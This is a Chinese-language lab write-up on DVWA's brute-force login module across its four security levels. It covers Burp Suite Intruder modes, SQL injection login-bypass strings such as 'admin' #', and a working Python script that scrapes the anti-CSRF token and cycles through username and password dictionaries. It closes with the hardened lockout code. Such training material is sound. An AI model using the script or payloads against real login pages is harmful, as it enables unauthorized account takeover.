Dvwa_brute_force

DVWA_Brute Force(暴力破解)

这是一个有登录功能,也就是数据库校验功能的页面,从页面上不难看出,可能的漏洞点是暴力破解

LOW

截取low级别的请求报文,get方式的明文传输,重复发送,也并未限制登录功能,这个时候就可以尝试暴力破解用户名密码了。

将报文发送到inrtuder模块进行暴力破解

先使用clear清除已标记的变量,然后使用add新增需要暴力破解的变量,然后选择cluster bomb,进入到payloads标签进行payload加载。

payload set选择变量顺序(1代表的是报文中自上而下的第一个变量),然后在payuload options中添加payload列表,第二个变量同理设定即可。

在免费版中线程数不可设定,收费版可进行设置,设置位置在options标签中。设置完成就点击右上角的start attack

当相应包长度Length的值发生变化时,就说明可能爆破已经成功了。

附录:burpsuite intruder 模块说明 sniper(单点枚举):整个请求报文中,只能选择一个变量,也只能有一个payload列表,单点的进行枚举替换。 battering ram(同步枚举):整个请求报文中,可以有多个变量,但只有一个payload列表,同步对每个变量进行枚举替换。 pitchfork(同行枚举):整个请求报文中可以有n个变量,同时有n个payload,且payload行数必须相同才能达到预期的枚举效果,不然将只会枚举最短的payload行数。实际枚举替换过程:每个payload列表同行替换,例如payload1替换第十行语句,payloadn也替换第十行语句。 cluster bomb(交叉枚举):整个请求报文中可以有n个变量,同时有n个payload,每个payload相互独立。实际枚举替换过程:其余payload不变,payload1逐条替换,然后payload2变成第二行语句,接着payload1逐条替换,payload2再向下一行,接着payload1逐条替换,以此往复,直至payloadn全部被替换。

工具使用完成后,再来看看源代码上是怎么实现的:

这个代码原理很简陋,并未做任何过滤。

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

这条很直白的说明了,万用密码的可能:

admin' #
admin' -- -
admin' and 1=1#

MEDIUM

抓包重发,发现响应存在延迟,并未锁死账户,仍可暴力破解,这里就不演示了,万用密码已经不可用,说明是存在了过滤的,查看源代码:

整个过程多了一次mysqli_real_escape_string过滤,该函数的定义和用法如下:

过滤掉了username参数中sql注入所需要的字符串,然后当校验错误时sleep( 2 ),这就是造成重放阶段响应包延迟返回的原因,增加了暴力破解所需的时间,但并未杜绝此项攻击的可能。

HIGH

通过抓取数据包,发现新增了一个user_token参数,重放发现并不能直接获取到返回数据。

观察截取到的数据报文,两次请求之间并未进行其他的获取token请求,因此这里查看页面源代码,在页面中找到了随机服务器随机生成的token值。

多发送几次数据报文,得知:当前发送的token值存在于当前页面,响应页面中存在的token值是下次发送的token值。

这个时候就可以写脚本来进行爆破了:

import requests,re,click

@click.command()
@click.option('-u', '--username', prompt='Your username file path: ', help='需要加载的用户名字典路径.')
@click.option('-p', '--password', prompt='Your password file path: ', help='需要加载的密码字典路径.')
@click.option('-P', '--phpsession', prompt='Current phpsession id: ', help='当前web前端使用的phpsession参数.')
@click.option('-U', '--url', prompt='url: ', help='实验环境中需要爆破的url地址.')

def main(username, password, phpsession, url):
    """DVWA Brute Force high python3 script.\n
    You need to set the following parameters."""
    headers = {"Cookie":"security=high; PHPSESSID=" + phpsession}
    response_page = requests.get(url,headers=headers)
    user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response_page.text)[0]
    flag = False
    total = 0
    name_list = open(username, 'r')
    for name in name_list:
    	uname = name.strip()
    	pwd_list = open(password, 'r')
    	for pwd in pwd_list:
    		passwd = pwd.strip()
    		params = {'username': uname, 'password': passwd, 'Login': 'login','user_token':user_token}
    		response_page = requests.get(url, params=params, headers=headers)
    		if "Username and/or password incorrect." in response_page.text:
    			flag = False
    			total+=1
    		else:
    			flag = True
    			total+=1
    		user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response_page.text)[0]
    		if flag == True:
    			click.secho('username:%s\t,password:%s\tThis is a valid combination!' %(uname, passwd), fg='green')
    	pwd_list.close()
    name_list.close()
    click.secho('All dictionaries have been run, total: %d' %total)

if __name__ == '__main__':
    main()

脚本为了增加通用性,引入了命令行参数的方式,输入用户名字典,密码字典,cookie中的phpsession,以及需要爆破的url,即可完成开始爆破,并未采用错误回显,将会一直运行,当遇到正确的用户名密码时,将输出到命令行,运行结束时,会输出结束提示及总共跑了多少组用户名密码组合。

IMPOSSIBLE

为什么说这是不可能进行爆破的呢,首先从第一次尝试开始:

输入错误1次,账号锁定15分钟,也就是说存在账号锁定机制,一般情况下,真实的业务上不可能错误一次就会锁定账号,但是三五次后锁定账号的还是很普遍的。这种就不可能用爆破的方式来进行密码枚举了,但是如果你的密码足够弱,例如88888888,那么,在有限次数内被猜解出来还是有可能的。

接下来看看代码实现:

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

功能上增加了锁定账号机制,以及pdo(sql注入防护技术)。这才是合规开发应该进行的正常操作!


dvwa

2020-12-28 13:16 +0800